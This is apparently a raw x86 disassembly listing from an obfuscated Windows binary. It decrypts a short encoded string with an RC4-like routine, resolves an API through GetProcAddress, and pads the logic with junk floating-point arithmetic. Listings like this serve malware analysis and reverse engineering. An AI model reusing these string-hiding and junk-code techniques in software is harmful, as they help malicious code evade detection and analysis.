mov eax, dword [ebp - 0x39e4]
shl eax, 4
mov dword [ebp - 0x3a98], eax
mov ecx, dword [ebp - 0x39e0]
mov dword [ebp - 0x3a9c], ecx
mov edx, dword [ebp - 0x3a98]
or edx, dword [ebp - 0x3a9c]
mov dword [ebp - 0x3aa0], edx
mov al, byte [ebp - 0x3aa0]
mov byte [ebp - 0x3312], al
movzx ecx, byte [ebp - 0x32a5]
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov al, byte [ecx + edx]
mov byte [ebp - 0x330e], al
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3275]
add ecx, eax
mov byte [ebp - 0x3275], cl
mov dl, byte [ebp - 0x3248]
add dl, 1
mov byte [ebp - 0x3248], dl
movzx eax, byte [ebp - 0x3275]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [ebp - 0x32a5]
shl edx, 0
lea esi, [ebp - 0x14d0]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3267]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ebp - 0x3275]
shl eax, 0
lea esi, [ebp - 0x14d0]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3248]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ebp - 0x3267]
shl ecx, 0
lea esi, [ebp - 0x14d0]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3248]
shl eax, 0
lea ecx, [ebp - 0x14d0]
mov dl, byte [ebp - 0x330e]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x330e]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x330f]
add eax, edx
mov byte [ebp - 0x330f], al
movzx ecx, byte [ebp - 0x3312]
movzx edx, byte [ebp - 0x3275]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3248]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3267]
shl eax, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32a5]
shl edx, 0
lea esi, [ebp - 0x14d0]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x330f]
shl edx, 0
lea esi, [ebp - 0x14d0]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3267], cl
mov cl, byte [ebp - 0x3312]
mov byte [ebp - 0x32a5], cl
mov dl, byte [ebp - 0x3267]
mov byte [ebp - 0x33fa], dl
cmp dword [ebp - 0x33b0], 0
jbe 0x492d5a
mov eax, dword [ebp - 0x33b0]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x1c]
mov dl, byte [ebp - 0x33fa]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x33b0], eax
mov ecx, dword [ebp - 0x35e4]
add ecx, 1
mov dword [ebp - 0x35e4], ecx
mov edx, dword [ebp - 0x33b0]
shl edx, 1
mov dword [ebp - 0x3a90], edx
mov eax, dword [ebp - 0x3a90]
shl eax, 0
add eax, dword [ebp - 0x3ce0]
movzx ecx, byte [eax]
mov dword [ebp - 0x39f4], ecx
mov dword [ebp - 0x39f0], 0xb0
mov edx, dword [ebp - 0x33b0]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3a94], edx
mov eax, dword [ebp - 0x3a94]
shl eax, 0
add eax, dword [ebp - 0x3ce0]
movzx ecx, byte [eax]
mov dword [ebp - 0x39e8], ecx
mov dword [ebp - 0x3a38], 0xe5
mov edx, dword [ebp - 0x39f4]
sub edx, dword [ebp - 0x39f0]
mov dword [ebp - 0x39e4], edx
mov eax, dword [ebp - 0x39e8]
sub eax, dword [ebp - 0x3a38]
mov dword [ebp - 0x39e0], eax
mov ecx, dword [ebp - 0x39e4]
shl ecx, 4
mov dword [ebp - 0x3a98], ecx
mov edx, dword [ebp - 0x39e0]
mov dword [ebp - 0x3a9c], edx
movsd xmm0, qword [0x9d4e10]
movsd qword [ebp - 0x515c], xmm0
movsd xmm0, qword [0x9d4a88]
movsd qword [ebp - 0x5a80], xmm0
movsd xmm0, qword [0x9d43b0]
movsd qword [ebp - 0x578c], xmm0
movsd xmm0, qword [ebp - 0x5a80]
addsd xmm0, qword [ebp - 0x578c]
movsd qword [ebp - 0x5a80], xmm0
movsd xmm0, qword [ebp - 0x515c]
subsd xmm0, qword [ebp - 0x578c]
movsd qword [ebp - 0x515c], xmm0
movsd xmm0, qword [ebp - 0x515c]
subsd xmm0, qword [ebp - 0x578c]
movsd qword [ebp - 0x515c], xmm0
movsd xmm0, qword [ebp - 0x515c]
comisd xmm0, xmmword [ebp - 0x5a80]
jbe 0x492eee
movsd xmm0, qword [ebp - 0x578c]
addsd xmm0, qword [ebp - 0x515c]
movsd qword [ebp - 0x578c], xmm0
movsd xmm0, qword [ebp - 0x578c]
mulsd xmm0, qword [ebp - 0x515c]
movsd qword [ebp - 0x578c], xmm0
movsd xmm0, qword [ebp - 0x515c]
mulsd xmm0, qword [ebp - 0x5a80]
movsd qword [ebp - 0x515c], xmm0
jmp 0x492f48
movsd xmm0, qword [ebp - 0x5a80]
subsd xmm0, qword [ebp - 0x578c]
movsd qword [ebp - 0x5a80], xmm0
mov eax, dword [ebp - 0x3a98]
or eax, dword [ebp - 0x3a9c]
mov dword [ebp - 0x3aa0], eax
movsd xmm0, qword [ebp - 0x515c]
addsd xmm0, qword [ebp - 0x5a80]
movsd qword [ebp - 0x515c], xmm0
movsd xmm0, qword [ebp - 0x578c]
addsd xmm0, qword [ebp - 0x515c]
movsd qword [ebp - 0x578c], xmm0
movss xmm0, dword [0x9d5740]
movss dword [ebp - 0x585c], xmm0
movss xmm0, dword [0x9d5658]
movss dword [ebp - 0x3f6c], xmm0
movss xmm0, dword [0x9d554c]
movss dword [ebp - 0x4684], xmm0
movss xmm0, dword [0x9d5418]
movss dword [ebp - 0x4d88], xmm0
movss xmm0, dword [0x9d52e8]
movss dword [ebp - 0x4fc0], xmm0
movss xmm0, dword [0x9d51a8]
movss dword [ebp - 0x42e0], xmm0
movss xmm0, dword [0x9d5074]
movss dword [ebp - 0x4260], xmm0
movss xmm0, dword [ebp - 0x4684]
mulss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x4684], xmm0
movss xmm0, dword [ebp - 0x4d88]
subss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x4d88], xmm0
movss xmm0, dword [ebp - 0x585c]
subss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x585c], xmm0
movss xmm0, dword [ebp - 0x3f6c]
addss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x3f6c], xmm0
movss xmm0, dword [ebp - 0x42e0]
mulss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x42e0], xmm0
movss xmm0, dword [ebp - 0x4684]
mulss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x4684], xmm0
movss xmm0, dword [ebp - 0x3f6c]
mulss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x3f6c], xmm0
movss xmm0, dword [ebp - 0x4684]
comiss xmm0, dword [ebp - 0x4260]
jbe 0x49312e
movss xmm0, dword [ebp - 0x3f6c]
mulss xmm0, dword [ebp - 0x4d88]
movss dword [ebp - 0x3f6c], xmm0
movss xmm0, dword [ebp - 0x42e0]
mulss xmm0, dword [ebp - 0x585c]
movss dword [ebp - 0x42e0], xmm0
mov cl, byte [ebp - 0x3aa0]
mov byte [ebp - 0x3312], cl
movss xmm0, dword [ebp - 0x42e0]
subss xmm0, dword [ebp - 0x585c]
movss dword [ebp - 0x42e0], xmm0
movss xmm0, dword [ebp - 0x4d88]
subss xmm0, dword [ebp - 0x42e0]
movss dword [ebp - 0x4d88], xmm0
movss xmm0, dword [ebp - 0x4fc0]
mulss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x4fc0], xmm0
movss xmm0, dword [ebp - 0x4fc0]
addss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x4fc0], xmm0
movss xmm0, dword [ebp - 0x3f6c]
subss xmm0, dword [ebp - 0x4d88]
movss dword [ebp - 0x3f6c], xmm0
jmp 0x4931d6
movss xmm0, dword [ebp - 0x4fc0]
subss xmm0, dword [ebp - 0x42e0]
movss dword [ebp - 0x4fc0], xmm0
movss xmm0, dword [ebp - 0x42e0]
mulss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x42e0], xmm0
movss xmm0, dword [ebp - 0x42e0]
subss xmm0, dword [ebp - 0x4260]
movss dword [ebp - 0x42e0], xmm0
movss xmm0, dword [ebp - 0x3f6c]
divss xmm0, dword [ebp - 0x4684]
movss dword [ebp - 0x3f6c], xmm0
movss xmm0, dword [ebp - 0x3f6c]
subss xmm0, dword [ebp - 0x4684]
movss dword [ebp - 0x3f6c], xmm0
movss xmm0, dword [ebp - 0x4684]
addss xmm0, dword [ebp - 0x4d88]
movss dword [ebp - 0x4684], xmm0
movss xmm0, dword [ebp - 0x3f6c]
divss xmm0, dword [ebp - 0x4684]
movss dword [ebp - 0x3f6c], xmm0
movsd xmm0, qword [0x9d4bf0]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [0x9d4a00]
movsd qword [ebp - 0x4cc4], xmm0
movsd xmm0, qword [0x9d4768]
movsd qword [ebp - 0x4edc], xmm0
movsd xmm0, qword [0x9d44d0]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [0x9d4248]
movsd qword [ebp - 0x475c], xmm0
movsd xmm0, qword [0x9d3f70]
movsd qword [ebp - 0x4558], xmm0
movsd xmm0, qword [ebp - 0x475c]
mulsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x475c], xmm0
movsd xmm0, qword [ebp - 0x475c]
subsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x475c], xmm0
movsd xmm0, qword [ebp - 0x4b08]
subsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x4350]
mulsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x4cc4]
mulsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x4cc4], xmm0
movsd xmm0, qword [ebp - 0x4b08]
mulsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x4558]
comisd xmm0, xmmword [ebp - 0x4350]
jbe 0x49353c
movsd xmm0, qword [ebp - 0x475c]
mulsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x475c], xmm0
movsd xmm0, qword [ebp - 0x4b08]
divsd xmm0, qword [ebp - 0x475c]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x4350]
divsd xmm0, qword [ebp - 0x4cc4]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x4350]
subsd xmm0, qword [ebp - 0x4cc4]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x4edc]
mulsd xmm0, qword [ebp - 0x4b08]
movsd qword [ebp - 0x4edc], xmm0
movsd xmm0, qword [ebp - 0x4558]
divsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x4558], xmm0
movsd xmm0, qword [ebp - 0x475c]
mulsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x475c], xmm0
movsd xmm0, qword [ebp - 0x4cc4]
subsd xmm0, qword [ebp - 0x4edc]
movsd qword [ebp - 0x4cc4], xmm0
movsd xmm0, qword [ebp - 0x4350]
divsd xmm0, qword [ebp - 0x4cc4]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x4b08]
mulsd xmm0, qword [ebp - 0x475c]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x475c]
mulsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x475c], xmm0
movsd xmm0, qword [ebp - 0x4b08]
subsd xmm0, qword [ebp - 0x475c]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x4edc]
comisd xmm0, xmmword [ebp - 0x4350]
jbe 0x4934a7
movsd xmm0, qword [ebp - 0x4edc]
mulsd xmm0, qword [ebp - 0x4b08]
movsd qword [ebp - 0x4edc], xmm0
movsd xmm0, qword [ebp - 0x4350]
subsd xmm0, qword [ebp - 0x4cc4]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x4558]
addsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x4558], xmm0
movsd xmm0, qword [ebp - 0x4edc]
mulsd xmm0, qword [ebp - 0x4b08]
movsd qword [ebp - 0x4edc], xmm0
movsd xmm0, qword [ebp - 0x4edc]
mulsd xmm0, qword [ebp - 0x4b08]
movsd qword [ebp - 0x4edc], xmm0
movsd xmm0, qword [ebp - 0x4558]
addsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x4558], xmm0
jmp 0x493537
movsd xmm0, qword [ebp - 0x4350]
addsd xmm0, qword [ebp - 0x4cc4]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x475c]
addsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x475c], xmm0
movsd xmm0, qword [ebp - 0x4558]
addsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x4558], xmm0
movsd xmm0, qword [ebp - 0x4350]
mulsd xmm0, qword [ebp - 0x4cc4]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x4b08]
addsd xmm0, qword [ebp - 0x475c]
movsd qword [ebp - 0x4b08], xmm0
movsd xmm0, qword [ebp - 0x475c]
addsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x475c], xmm0
jmp 0x4935e5
movsd xmm0, qword [ebp - 0x4edc]
mulsd xmm0, qword [ebp - 0x4b08]
movsd qword [ebp - 0x4edc], xmm0
movzx edx, byte [ebp - 0x32a5]
shl edx, 0
lea eax, [ebp - 0x14d0]
mov cl, byte [edx + eax]
mov byte [ebp - 0x330e], cl
movsd xmm0, qword [ebp - 0x475c]
subsd xmm0, qword [ebp - 0x4558]
movsd qword [ebp - 0x475c], xmm0
movsd xmm0, qword [ebp - 0x4cc4]
mulsd xmm0, qword [ebp - 0x4edc]
movsd qword [ebp - 0x4cc4], xmm0
movsd xmm0, qword [ebp - 0x4350]
addsd xmm0, qword [ebp - 0x4cc4]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x4cc4]
addsd xmm0, qword [ebp - 0x4edc]
movsd qword [ebp - 0x4cc4], xmm0
movsd xmm0, qword [ebp - 0x4350]
subsd xmm0, qword [ebp - 0x4cc4]
movsd qword [ebp - 0x4350], xmm0
movzx edx, byte [ebp - 0x3248]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3275]
add edx, ecx
mov byte [ebp - 0x3275], dl
mov al, byte [ebp - 0x3248]
add al, 1
mov byte [ebp - 0x3248], al
movzx ecx, byte [ebp - 0x3275]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ebp - 0x32a5]
shl eax, 0
lea esi, [ebp - 0x14d0]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3267]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ebp - 0x3275]
shl ecx, 0
lea esi, [ebp - 0x14d0]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3248]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [ebp - 0x3267]
shl edx, 0
lea esi, [ebp - 0x14d0]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov al, byte [ebp - 0x330e]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x330e]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x330f]
add ecx, eax
mov byte [ebp - 0x330f], cl
movzx edx, byte [ebp - 0x3312]
movzx eax, byte [ebp - 0x3275]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea esi, [ebp - 0x14d0]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3267]
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32a5]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x330f]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3267], dl
mov dl, byte [ebp - 0x3312]
mov byte [ebp - 0x32a5], dl
mov al, byte [ebp - 0x3267]
mov byte [ebp - 0x33fa], al
cmp dword [ebp - 0x33b0], 0
jbe 0x4937aa
mov ecx, dword [ebp - 0x33b0]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x1c]
mov al, byte [ebp - 0x33fa]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x35e4]
add ecx, 2
mov dword [ebp - 0x35e4], ecx
mov edx, dword [ebp - 0x33b0]
add edx, 1
mov dword [ebp - 0x4ad0], edx
jmp 0x4937d9
mov eax, dword [ebp - 0x4ad0]
add eax, 1
mov dword [ebp - 0x4ad0], eax
mov ecx, dword [ebp - 0x4ad0]
cmp ecx, dword [ebp - 0x35e4]
jge 0x493a9f
mov edx, dword [ebp - 0x33b0]
add edx, 1
mov dword [ebp - 0x33b0], edx
mov eax, dword [ebp - 0x33b0]
shl eax, 1
mov dword [ebp - 0x3a90], eax
mov ecx, dword [ebp - 0x3a90]
shl ecx, 0
add ecx, dword [ebp - 0x3ce0]
movzx edx, byte [ecx]
mov dword [ebp - 0x39f4], edx
mov dword [ebp - 0x39f0], 0xb0
mov eax, dword [ebp - 0x33b0]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3a94], eax
mov ecx, dword [ebp - 0x3a94]
shl ecx, 0
add ecx, dword [ebp - 0x3ce0]
movzx edx, byte [ecx]
mov dword [ebp - 0x39e8], edx
mov dword [ebp - 0x3a38], 0xe5
mov eax, dword [ebp - 0x39f4]
sub eax, dword [ebp - 0x39f0]
mov dword [ebp - 0x39e4], eax
mov ecx, dword [ebp - 0x39e8]
sub ecx, dword [ebp - 0x3a38]
mov dword [ebp - 0x39e0], ecx
mov edx, dword [ebp - 0x39e4]
shl edx, 4
mov dword [ebp - 0x3a98], edx
mov eax, dword [ebp - 0x39e0]
mov dword [ebp - 0x3a9c], eax
mov ecx, dword [ebp - 0x3a98]
or ecx, dword [ebp - 0x3a9c]
mov dword [ebp - 0x3aa0], ecx
mov dl, byte [ebp - 0x3aa0]
mov byte [ebp - 0x3312], dl
movzx eax, byte [ebp - 0x32a5]
shl eax, 0
lea ecx, [ebp - 0x14d0]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x330e], dl
movzx eax, byte [ebp - 0x3248]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3275]
add eax, edx
mov byte [ebp - 0x3275], al
mov cl, byte [ebp - 0x3248]
add cl, 1
mov byte [ebp - 0x3248], cl
movzx edx, byte [ebp - 0x3275]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ebp - 0x32a5]
shl ecx, 0
lea esi, [ebp - 0x14d0]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3267]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [ebp - 0x3275]
shl edx, 0
lea esi, [ebp - 0x14d0]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ebp - 0x3267]
shl eax, 0
lea esi, [ebp - 0x14d0]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3248]
shl edx, 0
lea eax, [ebp - 0x14d0]
mov cl, byte [ebp - 0x330e]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x330e]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x330f]
add edx, ecx
mov byte [ebp - 0x330f], dl
movzx eax, byte [ebp - 0x3312]
movzx ecx, byte [ebp - 0x3275]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3248]
shl edx, 0
lea esi, [ebp - 0x14d0]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3267]
shl edx, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32a5]
shl ecx, 0
lea esi, [ebp - 0x14d0]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x330f]
shl ecx, 0
lea esi, [ebp - 0x14d0]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3267], al
mov al, byte [ebp - 0x3312]
mov byte [ebp - 0x32a5], al
mov cl, byte [ebp - 0x3267]
mov byte [ebp - 0x33fa], cl
cmp dword [ebp - 0x33b0], 0
jbe 0x493a9a
mov edx, dword [ebp - 0x33b0]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x1c]
mov cl, byte [ebp - 0x33fa]
mov byte [edx + eax], cl
jmp 0x4937ca
mov edx, dword [ebp - 0x35e4]
add edx, 1
mov dword [ebp - 0x35e4], edx
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x33b0], eax
mov ecx, dword [ebp - 0x35e4]
add ecx, 1
mov dword [ebp - 0x35e4], ecx
mov edx, dword [ebp - 0x33b0]
shl edx, 1
mov dword [ebp - 0x3a90], edx
mov eax, dword [ebp - 0x3a90]
shl eax, 0
add eax, dword [ebp - 0x3ce0]
movzx ecx, byte [eax]
mov dword [ebp - 0x39f4], ecx
mov dword [ebp - 0x39f0], 0xb0
mov edx, dword [ebp - 0x33b0]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3a94], edx
mov eax, dword [ebp - 0x3a94]
shl eax, 0
add eax, dword [ebp - 0x3ce0]
movzx ecx, byte [eax]
mov dword [ebp - 0x39e8], ecx
mov dword [ebp - 0x3a38], 0xe5
mov edx, dword [ebp - 0x39f4]
sub edx, dword [ebp - 0x39f0]
mov dword [ebp - 0x39e4], edx
mov eax, dword [ebp - 0x39e8]
sub eax, dword [ebp - 0x3a38]
mov dword [ebp - 0x39e0], eax
mov ecx, dword [ebp - 0x39e4]
shl ecx, 4
mov dword [ebp - 0x3a98], ecx
mov edx, dword [ebp - 0x39e0]
mov dword [ebp - 0x3a9c], edx
mov eax, dword [ebp - 0x3a98]
or eax, dword [ebp - 0x3a9c]
mov dword [ebp - 0x3aa0], eax
mov cl, byte [ebp - 0x3aa0]
mov byte [ebp - 0x3312], cl
movzx edx, byte [ebp - 0x32a5]
shl edx, 0
lea eax, [ebp - 0x14d0]
mov cl, byte [edx + eax]
mov byte [ebp - 0x330e], cl
movzx edx, byte [ebp - 0x3248]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3275]
add edx, ecx
mov byte [ebp - 0x3275], dl
mov al, byte [ebp - 0x3248]
add al, 1
mov byte [ebp - 0x3248], al
movzx ecx, byte [ebp - 0x3275]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ebp - 0x32a5]
shl eax, 0
lea esi, [ebp - 0x14d0]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3267]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ebp - 0x3275]
shl ecx, 0
lea esi, [ebp - 0x14d0]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3248]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [ebp - 0x3267]
shl edx, 0
lea esi, [ebp - 0x14d0]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov al, byte [ebp - 0x330e]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x330e]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x330f]
add ecx, eax
mov byte [ebp - 0x330f], cl
movzx edx, byte [ebp - 0x3312]
movzx eax, byte [ebp - 0x3275]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea esi, [ebp - 0x14d0]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3267]
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32a5]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x330f]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3267], dl
mov dl, byte [ebp - 0x3312]
mov byte [ebp - 0x32a5], dl
mov al, byte [ebp - 0x3267]
mov byte [ebp - 0x33fa], al
cmp dword [ebp - 0x33b0], 0
jbe 0x493d6a
mov ecx, dword [ebp - 0x33b0]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x1c]
mov al, byte [ebp - 0x33fa]
mov byte [ecx + edx], al
mov ecx, 1
imul edx, ecx, 9
mov dword [ebp - 0x5d8c], edx
cmp dword [ebp - 0x5d8c], 0xa
jae 0x493d83
jmp 0x493d88
call fcn.009b1617
lea eax, [ebp - 0x1c]
add eax, dword [ebp - 0x5d8c]
mov byte [eax], 0
jmp 0x493de4
mov dword [ebp - 0x33b0], 0
jmp 0x493db1
mov ecx, dword [ebp - 0x33b0]
add ecx, 1
mov dword [ebp - 0x33b0], ecx
cmp dword [ebp - 0x33b0], 0xa
jae 0x493de4
mov edx, dword [ebp - 0x33b0]
mov dword [ebp - 0x5d88], edx
cmp dword [ebp - 0x5d88], 0xa
jae 0x493dd1
jmp 0x493dd6
call fcn.009b1617
lea eax, [ebp - 0x1c]
add eax, dword [ebp - 0x5d88]
mov byte [eax], 0
jmp 0x493da2
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x348c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa00bac], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x53c4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5164], xmm0
mov dword [ebp - 0x33cc], 0
mov dword [ebp - 0x4acc], 0
mov dword [ebp - 0x5860], 0
mov dword [ebp - 0x5600], 1
mov dword [ebp - 0x4688], 0
mov dword [ebp - 0x5b44], 0
mov dword [ebp - 0x3754], 0
mov dword [ebp - 0x3e48], 0
mov dword [ebp - 0x3ce4], 0
mov dword [ebp - 0x3ce8], 0
mov dword [ebp - 0x3e4c], 0
mov dword [ebp - 0x3cec], 0
mov dword [ebp - 0x3b78], 0
mov dword [ebp - 0x3b7c], 0
mov dword [ebp - 0x3b80], 0
mov dword [ebp - 0x3e50], 0
mov dword [ebp - 0x3e54], 0
mov dword [ebp - 0x3e58], 0
mov dword [ebp - 0x4ac8], 0
mov byte [ebp - 0x325a], 0
mov byte [ebp - 0x3295], 0
mov byte [ebp - 0x3333], 0
mov byte [ebp - 0x3296], 0
mov byte [ebp - 0x32d9], 0
